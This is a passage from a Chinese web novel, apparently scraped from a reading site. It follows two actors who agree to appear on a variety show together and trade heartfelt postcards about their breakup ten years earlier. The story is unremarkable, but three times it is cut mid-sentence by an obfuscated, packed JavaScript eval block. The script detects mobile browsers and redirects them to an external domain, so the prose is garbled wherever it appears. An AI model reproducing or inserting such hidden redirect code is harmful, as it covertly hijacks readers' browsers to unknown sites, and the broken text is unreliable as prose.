跟他和谐相处一天的刘铭：......忘了，他平时是很高冷，挺拒人于千里之外的。 话虽如此，在场的人却没有说推掉的话，钱梦对他们都很了解，她让大家坐下来聊，肯定是有别的想法。 “公司是这么想的，既然左老师和宁老师冰释前嫌，那一起上上综艺也不是什么问题。”钱梦转达顶头领导的意思，“两位老师平时的为人也没有什么毛病，就算有点小瑕疵，背后也有公司帮忙盯着舆论风向，也闹不出大的风浪，等下一部电影上映，一切都会平息的。” 娱乐圈嘛，都是拿作品说话的。 只要不是原则性问题，什么事都是小事。 再说了，现在左知攸两人可都是炙手可热的大影帝，有什么好慌的，随心所欲去录就行了。 在场的人都听懂钱梦的意思了，齐刷刷想知道左知攸和宁柏右的想法，结果，明明是宁柏右风评好，他看起来反倒比左知攸还要紧张。 “志哥，难道我脾气不好对你来说这么有压力吗？”左知攸笑着调侃。 大家的注意力被他转移过来，察觉到他并没有拒绝的意思，宁柏右隐隐松一口气，可以专心去想事情。 李志沉吟片刻，默契地配合，当然，也挺真心的：“压力倒不至于，就是觉得你偶像包袱太重，咱都是双金影帝了，其实可以活得随心所欲一点。” “我觉得现在的状态挺好的。”圈里人，也不说全部吧，至少能跟他合作的人都知道他脾气其实还行，没有外界说得那么冷傲，其他不知情的人他也懒得去解释，还省得他花费时间去社交。 一天的时间就那么点，社交太频繁，他哪来的时间磕cp？ 李志倒是有不一样的看法：“这两年大家对你的评价逐渐往倨傲靠拢，你越走越高，适合你的电影剧本比较少，我和公司都不太想让你将就，觉得先转战电视圈拍一点正剧挺好的，中央台的大导都不太喜欢难沟通的艺人，扭转一下你在外界的风评挺有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14950567|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必要的，既然有机会，那表现一下也不错。” “其实我挺想拍点配角戏的。”左知攸沉吟，“我这些年太顺利了，已经连续五年冲击金龙奖杯失败，大家说我沉淀不够，我想多拍点不一样的戏或许有用。” 他是完全的天赋型选手，从出道开始就一飞冲天，惊艳外界多年，这让他奖杯拿得跟喝水一样简单。 宁柏右天赋比他差，但也很令人惊艳，在国外那几年还努力到不行，当年一边读书一边跑龙套，不仅时间能平衡得住，两种经历还能互相印证进步，前期走得虽然没有他顺利，但现在已经能和他并驾齐驱。 他们都是三金拿了两金，在冲击最后一金时，问题其实也差不多。 年轻，沉淀差一点。 以前他们奖杯拿得容易也是因为年轻，圈里圈外对他们期待高，而他们实力也够，单独拿其中一个金奖杯是能服众的，可要拿完三金，意义就不一样了。 至少现在的他们，还差一口气。 宁柏右顺着他的话去想：“中央台的正剧质量很高，里面有许多老资格，如果能接几部剧的话，你的进步应该会很明显。” 左知攸一顿：“这倒也是。”向前辈请教嘛，还有什么是比拍戏的时候更能领悟其中真谛的？ 刘铭现在只是个中下层的导演，手上有些忙得倒腾着面前的这瓶矿泉水，完全插不进这样的话题。 他以前还能指导这两个孩子，现在可没这能力了。 “嗯，你们有自己的想法就好。”周雯挺欣慰的，“具体情况我和李志跟公司商量吧，转型没什么问题，到时候会安排好的，现在先确定要不要接《哈喽计划》的通告。” “我都可以。”左知攸看向对面，笑容轻松，“问问宁老师的意思吧。” “个人表现会让外界对我有什么评价我倒是不太担心，主要是怕会对《司鹿极梦》造成负面影响。”宁柏右斟酌着道。 “那就推了吧。”左知攸捕捉到到他的敏感情绪，下意识露出笑容，“说实在话，我也有点担心，我偶像包袱重嘛，还挺喜欢现在的人设，能不崩就不崩。” 宁柏右迅速抬眸看他一秒又将视线收回来，两秒后，露出亲和轻松的笑容：“左老师可不像是会被人设束缚的性格，既然如此，我好像也没必要瞻前顾后的。” 嗯？ 左知攸眼底的笑意加深几秒。 这家伙，勇气怎么总是一阵一阵的。 两位崽崽都点头同意了，钱梦高兴地点头，李志和周雯赶紧去找节目组把行程敲定，刘铭身体飘飘然走出会议室，脸都要笑烂了。 剧宣综艺，get！ 会议室的人陆续离开，左知攸犹豫几秒，特地等了一会儿，宁柏右起身前没忍住不舍地抬头看了对面的人一眼，乖巧地坐下来，又几分独处的高兴，又有些好奇，又不由得升起几分忐忑，甚至还有一丝自己都觉得不可能的期待。 等人都走完了，只剩下他们两个，他试探着问。 “左老师想跟我说什么？” 21. 第 21 章 “左老师想跟我说什么？” 听到宁柏右试探的哈语，左知攸并不意外他能察觉到自己的意图，看一眼已经关紧的门，本来是想说句话来着，可又觉得以他们现在的关系，说了好像又会有点暧昧。 “没什么。”他敷衍地笑了笑，看见对面的人垂眸掩饰失望，又升起有点不忍，既觉得没必要太在乎对方的感受，又觉得自己不该明知对方是高敏性格的前提下还这样欲言又止，还觉得自己没必要想这些有的没的。 毕竟，遇到问题不快点解决，最后影响的不还是宣传吗？ 他语气一转，带上认真的笑容：“我只是想说，其实你没必要担心我们综艺的效果，我相信你对我的了解足够配合我，同时你也可以对我付出信任。” 宁柏右双眸睁大，眼睛像是亮了一下，竟是有些腼腆的笑了。 “嗯。” 左知攸微微一顿，像是看到了十年前的右右哥。 那个，没被阴郁情绪支配的右右哥。 这一刻，他心里突然生出愧疚的情绪，想通了一件事情，扯出一抹自嘲的笑容，有些急迫地转身离开会议室，像是生怕被对面的人发现。 等走到门口，手放到门把手上即将下压，他动作微顿，又像是想通了，笑着回头。 “宁老师，既然你偷偷为我画了那么多画，应该也有偷偷准备别的礼物吧，能给我吗？” 宁柏右一怔，抓紧了扶手：“你，愿意要吗？要多少？我，我是说......”他又有些忐忑，始终无法自如，尤其是在两人独处的时候，更是带着明显的讨好。 左知攸越发愧疚：“宁老师......不，右右哥。” “我在！”宁柏右又紧张又期待，英气深邃的眼眸十分剔透。 “答应我，别再讨好任何人，好吗？”左知攸快步走过去，弯腰拥抱，不到两秒，甚至连宁柏右都没来得及反应抬手就放开，直起身，虽是俯视着，眼里却带着心疼和愧意，“宁影帝光芒万丈，没必要这么伏低做小。” “我......”宁柏右扯了扯唇角，面露苦色，光芒万丈只是假象而已，真实的他，从不是这样的。 “宁老师，其实你的瓶颈不仅是因为沉淀不够，更重要的是你的内心深处在否认自己，你把角色当做寄托，却忘了，角色也是你演的，两者互相依存，光找到角色还不够，你该让角色找到你的。”左知攸勾起笑，像是在说工作，又不像，“好好爱自己，你可以的。” “怎么突然说这个？”不是在说以前吗？ “我已经想好下一步该如何做了，等《司鹿极梦》的宣传结束，我就要往前走。”宁柏右真心地看着他，“我们这十年间又总是很默契地避其锋芒，以后一起竞争，共同进步吧？” 原来真的在说工作，不是以前。 宁柏右忍住失落：“好。” “宁老师总是落后我一步，这次可不要再落后了哟。”左知攸挥挥手，往门口走，“对了，过去藏起来的礼物，给我一两样，我想看看，可以吗？” “为什么？”宁柏右鼓起勇气问原因。 “留个纪念吧。”左知攸弯起唇，眼里带着怀念，“其实，那个冬天真的很美好，我不该带着怨怼的。” 只是纪念吗？ 宁柏右勉强笑了笑，有些失望，又在意料之中，轻轻点头。 “嗯。” 左知攸欢快地挥手说拜拜，像极了十年前的样子，打开门后，脚步坚定地走出去，走廊顶灯打在身上，像是在奔向光明，不再留念过去。 这一刻，宁柏右的所有期待被打碎，看着他的背影消失在走廊转角，回头盯着光洁的桌面，一滴泪欲落不落。 原来他还抱着希望，他知道攸攸没有表面上那么坚定的。 但现在，希望都没了。 但好像，又不是太意外？ 早就做好准备了不是吗？ “光芒万丈，爱自己，共同进步吗？”他想起刚刚攸攸的话，露出一丝笑。 -- 【你总是这样，就算要走，也会给我留几分温柔。 就像十年前，说要分手，说要老死不相往来，却总是借同学的手来给我送吃的喝的安抚我的情绪，知道我事业不顺，也会伸出援手。 现在说要放下，要奔向未来，也在教我如何改掉自己的性格缺陷。 我会努力的。 过去在事业上，我总是落后你一步，以后你可要小心了，我会竭尽全力，超越你一次。】 -- 左知攸坐在二楼客厅的地毯上，修长的手指轻轻捏着一张明信片的两侧，噙着一丝笑逐字逐句把上面的内容读一遍。 他早上听到门铃响了出去开门，正好在地上捡到这张放在两个盒子上面的明信片，上面没有署名，但他知道是谁写的，送信的人并没有像以前一样殷勤地出现在他面前讨好他，离开地很果断，以至于他开门后并未看到一点点送信人的身影。 事情如他所想，宁柏右鲜少会拒绝他，哪怕过去有许多遗憾没来得及弥补，他也愿意听从他的建议，坚定往前看。 目的达到了，左知攸的心情很轻松，但愧疚也更多。 仔细将明信片收到提前准备好的薄亚力克盒子里，收到奖杯陈列室，藏到保险柜里，并没有马上锁起来，而是走到外面，坐在地毯上静静望着地毯上放了好一会儿的两个盒子。 盒子的材质一模一样，都是正方体，尺寸相同，明显是在同一个地方定制的，都很精致，还是铁制的，主人保留得很好，外面贴了一层保鲜膜还不够，还定制了一层透明亚克力外壳。 与此同时，左边的盒子看起来很眼熟，左知攸知道这是曾经自己送给宁柏右的，现在宁柏右又还回来了，另一个盒子则是宁柏右偷偷定制的礼物，十年了都没送出手。 自己送的盒子有什么他一清二楚，因此他先看的是右边那个盒子。 将盒子抱起来，他抚摸着外面另加的透明塑料外壳，上面没有灰，干干净净，但外壳看起来已经有些年头了。 十年前的盒子，他今天才收到，其实还挺开心的，不像前些日子那样烦躁。 或者说，他本就该高兴的。 盒子外面的六个面是精心打印的手绘画像。 这些手绘画一看就是宁柏右亲手画的，正面是他们十年前第一次正式认识时在星辰影视公司门口的合照，里面的所有人影都模糊了，只花了对着镜头比耶的他们，当年的左知攸动作活泼，宁柏右笑容腼腆忐忑。 后面是他们在《梦影》开机仪式中的合影。 左面是宁柏右19岁生日那天，两人在满地花瓣中的合影自拍。 右面是他们拍摄途中回学校考试，戴着那天偷偷去商场买的结婚对戒一起在学校彩虹湖边比心的合影，那一天，他们对着彩虹湖承诺会一辈子在一起，还说要找一个合适的时间办婚礼。 上面是他们杀青时唯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14950568|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起在剧组戴上戒指拍的合影。 唯一一面看不见的地方，画着他们分手那天，左知攸上车离开的背影。 六面手绘画，几乎就是他们相知、相爱和分开的过程，除了相知与分开那两面，其他四面都处于热恋期。 十年前，他们刚签约时是陈露师姐带的，她说他们天生就是吃演艺圈这碗饭的，承诺会给他们做最好的规划。 那时候师姐还没说要让他们一起拍一部剧，左知攸和宁柏右性格相差较远，他活泼开朗，宁柏右孤僻沉默，两个月了也关系平平。 开学三个月，师姐突然说接到了一个很好的本子，如果能播出，很大概率能大火，但问了老师的意见，觉得他们才刚上课没多久，最好先培养默契，进组前也多交流剧本。 两人很珍惜这次机会，从那开始，他们离开宿舍到外面租了房子，跟连体婴一样同吃同住，拼命地熟悉彼此。 也是因此，他们的感情迅速升温。 年少时的感情总是热烈而迅速，才一个月，他们就确定关系，陷入热恋期，但这样的感情也很脆弱，热恋期因为外界的冲击戛然而止，一直到他们分手，大一都没完全结束。 过去的一幕幕在脑海中像影片一样回放，胸口密密麻麻地痛，但这并不是痛苦，左知攸很欣慰，也很畅快。 他不想再回避过去了，更多的是想正视这段关系，正视自己在这段关系中做了什么。 一滴滴泪砸落在地毯上，他想起来更多事情，心疼地抚摸每一面手绘画。 这是宁柏右爱他的证明，但他当年，放手了。 后悔吗？那肯定是有的，可他已经决定不回头了，这一次，真的不想再来回徘徊，也不该。 这十年他都没想不明白自己为什么一直放不下，除了对宁柏右的在意，还有什么呢？他想不明白，或者说，不敢去想明白，可现在，是时候面对了。 要往前走，就该面对。 抬手用指关节擦拭眼泪，几分钟后，他抽了几张纸巾，把泪止住，带着鼻音笑了笑。 “真像鳄鱼的眼泪啊。” 他吸了吸鼻子，再抽几张纸巾擦擦眼泪，努力忍住，一双水眸紧紧盯着怀里的盒子，小心地打开亚克力外壳，将盒子轻轻拿出来，轻车熟路掰开八个顶点的卡扣，六面手绘画铁盒快速摊开在地毯上，露出里面被保护的立体拼图。 是左知攸在当年校外那间出租屋的阳台浇花的手绘拼图。 其实不用亲自看，左知攸也想起来了一件事，能猜到里面是什么，即便如此，他还是有几分意外，情绪很复杂。 遗憾当然是有的，高兴也是有的，酸涩、释然也都有，唯独没有的是这十年间充斥在心间的怨怼和痛苦。 左知攸想起来，准确来说，其实他一直都记得，只是拒绝去想这些回忆。 当年，宁柏右敏感到了很厉害的程度，随时随地都可能没有安全感，他就定做了一个立体拼图礼盒送给宁柏右，后来，宁柏右情绪稳定下来一段时间后，有一天，偷偷拿着一张画纸出去不知道做了什么，等人回来，他一直问也没问出来画去哪了。 现在出自同一工作室的立体拼图礼盒出现，而他清楚地记得包括那张被拿走的画像在内的每一张宁柏右给自己画的画像，结合时间线，自然就猜出来了。 合上盒子，他去看盒子外面的右下角，这里和他送的拼图盒一样有寄语。 【攸攸，我爱你，还有，对不起】 22. 第 22 章 【攸攸，我爱你，还有，对不起】 六面的寄语都是宁柏右诉说的爱意。 【攸攸，我爱你】都是制作盒子时就有的，后面那一句笔触不同，明显是在分手后宁柏右自己加上的【对不起】，扭曲的每一寸字迹似乎都在告诉左知攸，当年宁柏右写这句话的时候有多痛苦，又有多迷茫。 他露出苦笑。 同时还有心虚和愧疚。 还有几分自我厌恶，连擦眼泪的动作都觉得多余，想不明白自己有什么好哭的。 每掉一滴眼泪，他都觉得像是鳄鱼的眼泪，用力地擦拭脸上的泪水，他再次吸吸鼻子，忍住泪意，小心地将盒子拼回来，再放回亚克力盒子里。 如果是过去，他会抱怨宁柏右，甚至他会说什么都能想得到：“明明那么用心，当年为什么不拿出来？” 可是现在，他的想法不一样了。 心意藏起来又如何呢？ 【十年来，总埋怨是你错了，是你伤害了我，可其实，我对你的伤害也不小。】左知攸拿出一张明信片，抱着盒子低声呢喃，好像要听的人就在旁边，同时在上面落笔。 【平时我总是说得自己当年好像有多爱，其实，如果足够爱，怎么会忍心让你一个人挣扎着脱离那些令人窒息的阴郁情绪？ 我该更耐心，更积极地陪你走出来，给你更多安全感才对。 可我却怕了，临阵脱逃了。】 他顿了顿，继续写。 【但是在这件事情上，我不后悔。 我不想一直内耗，我也害怕得不到回应，我很忐忑，离开你我不后悔。】 前些日子对宁柏右说过的话，他当年的顾虑和期待都不是假的，他是真心想分手的，但也是真心期待挽留。 他也不后悔这些。 但他唯独后悔，他伤害了宁柏右。 【我是那么自私。】他一边道一边写，【我明知你陷入了漩涡之中，却任凭自己放大情绪，忽视你的身不由己，用指责你来让自己站在道德最高点，更是为了减少自己的亏欠感，强逼着自己忘记这件错事，十年如一次地催眠自己，告诉自己这一切都是你的错。】 说到底，他更爱的还是自己，不然怎么会犯下这个错事呢？ 既然要正视过错，他也不想掩埋这一切，一字一句将错误写到明信片上，视线轻轻在上面移动。 “好就好在，等宣传期结束，这一切也结束了。”他低声呢喃，但并没有把这已经写上去，因为这是宁柏右也知道的事情，没必要写。 他的信没写完，接着看当初自己送给宁柏右的立体拼图。 他还记得拼图的样子，但他还是想看看自己忘记了什么约定。 盒子外面很用心地贴了十年前《梦影》的海报，每一面的海报都不一样，但都是他们私底下请剧组拍的照片，海报是他自己p的，技术不好，却只属于宁柏右。 远远看见他十年前送给宁柏右的那个立体拼图储物盒，过去的一些记忆又在脑海中回荡。 当年，他和宁柏右是同班同学，刚开学就因为一张照片爆火网络，被星辰影视的星探带到公司签约。 那时候，他们的经纪人还不是李志和周雯，还是陈露师姐。 跟左知攸恋爱后，宁柏右的表现只是矜持，腼腆，可实际上，他是一个很敏感的人，《梦影》杀青后，他们还处于热恋期，宁柏右听说他们换了经纪人，以后不能再时时刻刻待在一起，慌了神，好像筑起的城墙轰然倒塌，连晚上都在做噩梦。 后来还经历了很多事情，左知攸发现他的情绪总是一会儿好一会内耗，始终不能稳定下来，为了安抚他，特地定制了一个立体拼图。 左知攸将盒子打开，露出里面自己在片场休息间，穿着戏服亲吻左知攸侧脸的立体拼图照。 为了保护这个拼图照，他特地定制了外面的铁盒子，直到他们分手，都没有什么保鲜膜和透明塑料盒，其实铁盒外的颜料做过特殊处理，几十年都不会坏，除非用刀用力刮，否则也不会花，哪里需要多余的保护呢？ 但他知道，这代表的是宁柏右对这一份感情的小心翼翼和珍视。 左知攸盯着拼图上自己的脸颊，上面的图案也做过特殊处理，很难弄坏，但他还是发现了一丝颜色的差异，这十年间，宁柏右需要抚摸多少次才会这样？ 【其实，我不该怪你总是将心意藏起来，我应该怪自己，没有给你足够的安全感，我总以为我已经足够爱了，可到头来，这一切只是我以为。】他重新提笔，在下面一行落笔。 哒！ 盒子被合上，每一面海报的右下角都有一句他给的承诺。 【左知攸永远爱右右哥，永远和右右哥在一起】 左知攸拿着笔，看了这一行寄语很久很久，眼泪又往外掉，几分钟又用手背擦掉，含着水雾垂眸看着自己的承诺，抚摸着上面那一句句的“我爱你”。 等情绪平静，他继续提笔：【我忘记了曾经给你的承诺，在你最彷徨无措的时候离开，我失约了。 其实我该反省的是自己，为什么说爱，却又不够爱，为什么说了永远，却又轻易离开。 对不起，右右哥。 该弥补的人是我不是你，该反省的人是我也不是你，不要再为过去的事情耗神了，不值得。】 左知攸停笔，看着最后三个字，露出笑容，继续写。 【我是一个虚伪的人，而你足够真诚，你不该承受这些痛苦。】 两个立体拼图全都放到奖杯陈列室里，把明信片放到枯萎的黄玫瑰花束上，把外面的玻璃罩子盖上，送到宁柏右家。 他可以收十年前的礼物，但不该留着十年后的礼物。 宁柏右听到门铃声，等了一会儿，走出去后低头，看到地上那束他以为早就该扔掉的黄玫瑰花束被玻璃罩子好好地保护着，好久才蹲下来抱进屋里。 花被放到桌子上，他凝望着里面的明信片，片刻后才拿出来认认真真读完，含着泪拿出新的明信片回信。 【你值得。】他开头就是这一句。 【以前你知道我有些话难以说出口，总是喜欢给我写明信片，其实我很多次都躲在房间里想给你回，跟你说说心里话，可提笔后却连一个字都写不出来。】十年后的宁柏右终于有了写信的勇气，哪怕写得很慢，【其实是我先伤害了你，你的爱那么热烈，那么真挚，无数次在我痛苦的时候治愈我，是我先胆怯不敢回应，是我在你反复确认，反复期待的时候避而不答才让你生了退却之心。 不是你耐心不够，也不是你给的安全感不够，没有谁应该不求回应地对一个人好，没有谁应该永久停留在原地，既然这段感情让你不开心，你就应该离开，而不是深陷旋涡之中。 我们怀念的是当初刚在一起时开心的日子，而不是后来那段昏暗的日子。】 宁柏右写到这里，含泪笑了一下，有些不敢说出来的话，此时借着机会一股脑全都写出来，不仅在说过去，也在说这十年，还有现在。 【我也不后悔你说分手，千万不要提弥补两个字。 说到自私，其实是我先自私的。 我知道自己情绪经常不对，很容易伤害到你，发现无法控制自己之后，我想过要推开你，这样你至少不会受伤，可我又舍不得，始终不能下定决心，是我的自私让你的笑容越来越少，是我先对不起你。 你的指责没有错，是我先利用的你的爱来伤害你，让你再也无法像过去那样开心，错在我。 正是因为知道自己犯了错，我才不敢回应。 自从认识你，我就一直在害怕自己会伤害到你，一直在克制自己不要出现悲观的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14950569|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法，我成功了很久，以为我可以克制一辈子，可我却是那么懦弱，根本抵御不了外界的考验，又是那么贪婪，明明时时刻刻后悔对你的伤害，又舍不得将你推开。 你说要分手的那一刻，我第一次那么害怕，却又极其庆幸，你终于愿意放手了，只要我不挽回，你就不会再受伤害了。 我从来就配不上你，可我又曾经拥有过你，你离开后，我时时刻刻都在想，能不能自己挣脱泥潭，能不能变成一个极好的人，再去挽回极好的你。 可我又想，像我这种让你陷入不幸的烂人，连自己的情绪都控制不住，哪怕看起来变好了，也不知道哪天又会复发，哪有资格再妄想，哪怕连和你说话的念头我也不该有，就该在阴暗的角落里发烂发臭。 我自我唾弃，又不甘，每天都在想，如果把自己逼疯了就好了，可疯了，就彻底没有机会再出现在你面前了。 十年过去，我终于找到机会，鼓起勇气重新靠近你，其实这个勇气并不是因为自己变好了，而是因为我知道，你总会对我心软几分，你从来都在那里，只要我愿意敞开心扉，你就愿意对我敞开怀抱，真诚的人是你才对。】 宁柏右的笔顿了顿，擦掉眼泪，发现有几个字被眼泪模糊掉，本想重新抄一份，想想还是罢了，他怕自己失去继续坦白的勇气，去拿吹风机来吹干后就立刻重新提笔。 【你从来没赋予过我痛苦，你是我向往的存在。 其实你的离开并不是导致我痛苦的源头，我也并非无法挣脱那些负面情绪。 当年分手之后，我早就有了目标，有了方法如何向阳而生，但我知道自己犯了错，误了你，却又贪婪地想再拥有你，可我又不知道该如何做才能让我们走向最好的结局。 但现在我找到答案了。 你又一次告诉了我答案。 攸攸，你是对的，我们就应该笑着往前走，把记忆留在最美好的时候，而不是强行留恋过去。 对不起，我的负面情绪又一次影响到了你，又让你难过了一次，我曾经将你拖入过深渊，不该因为妄想再把你拉到深渊边缘。 但你放心，我很快就会爬出来，下一次，让我们一起在阳光下见面吧。 】 宁柏右停笔，仰头流泪，怎么都止不住。 等到天黑，情绪平稳一点，他才将明信片送过去。 这一晚，外面下起大雪，他们在家里看着对方送来的信，泣不成声。 一滴滴眼泪夺眶而出，可他们却越哭越开心，像是痛苦被慢慢洗刷掉，那些难以对对方言说的情绪也因此平和地放下。 天亮后，是一个大晴天，阳光洒满大地。 他们几乎同时拉开窗帘，用红肿的眼睛望向外面的阳光，像是连老天都赞同他们这么做。 可阳光太刺眼，几秒钟后，他们不得不闭上眼睛背过太阳。 面对阳光，是老天赞同他们不再当恋人，那背对阳光呢？ 他们不知道，也不敢去想，只是不停在心里告诉自己，这样是对的，这样就是最好的选择。 可心里，怎么还是那么难过？ 宁柏右笑着笑着又哭了，眼泪一颗颗往地上砸，红肿的眼睛时时刻刻在发烫。 左知攸低头看向手中的戒指，面露犹豫，想要像上次一样将戒指取下来，可手放在上面半天，还是舍不得。 桌上那一张张明信片，那一句句说要释然的话，被风一吹，全部掉到地上，像是在嘲笑谁的口是心非。 当李志收到左知攸发来的信息说要把WB名字改掉的时候，视线落到手中马上要直播的《哈喽计划》名字上，他呵呵一笑。 第一反应就是： 哇，他家左老师的理智又试图占据高地了呢。 恭喜恭喜。 这次能撑几天才改变主意呢？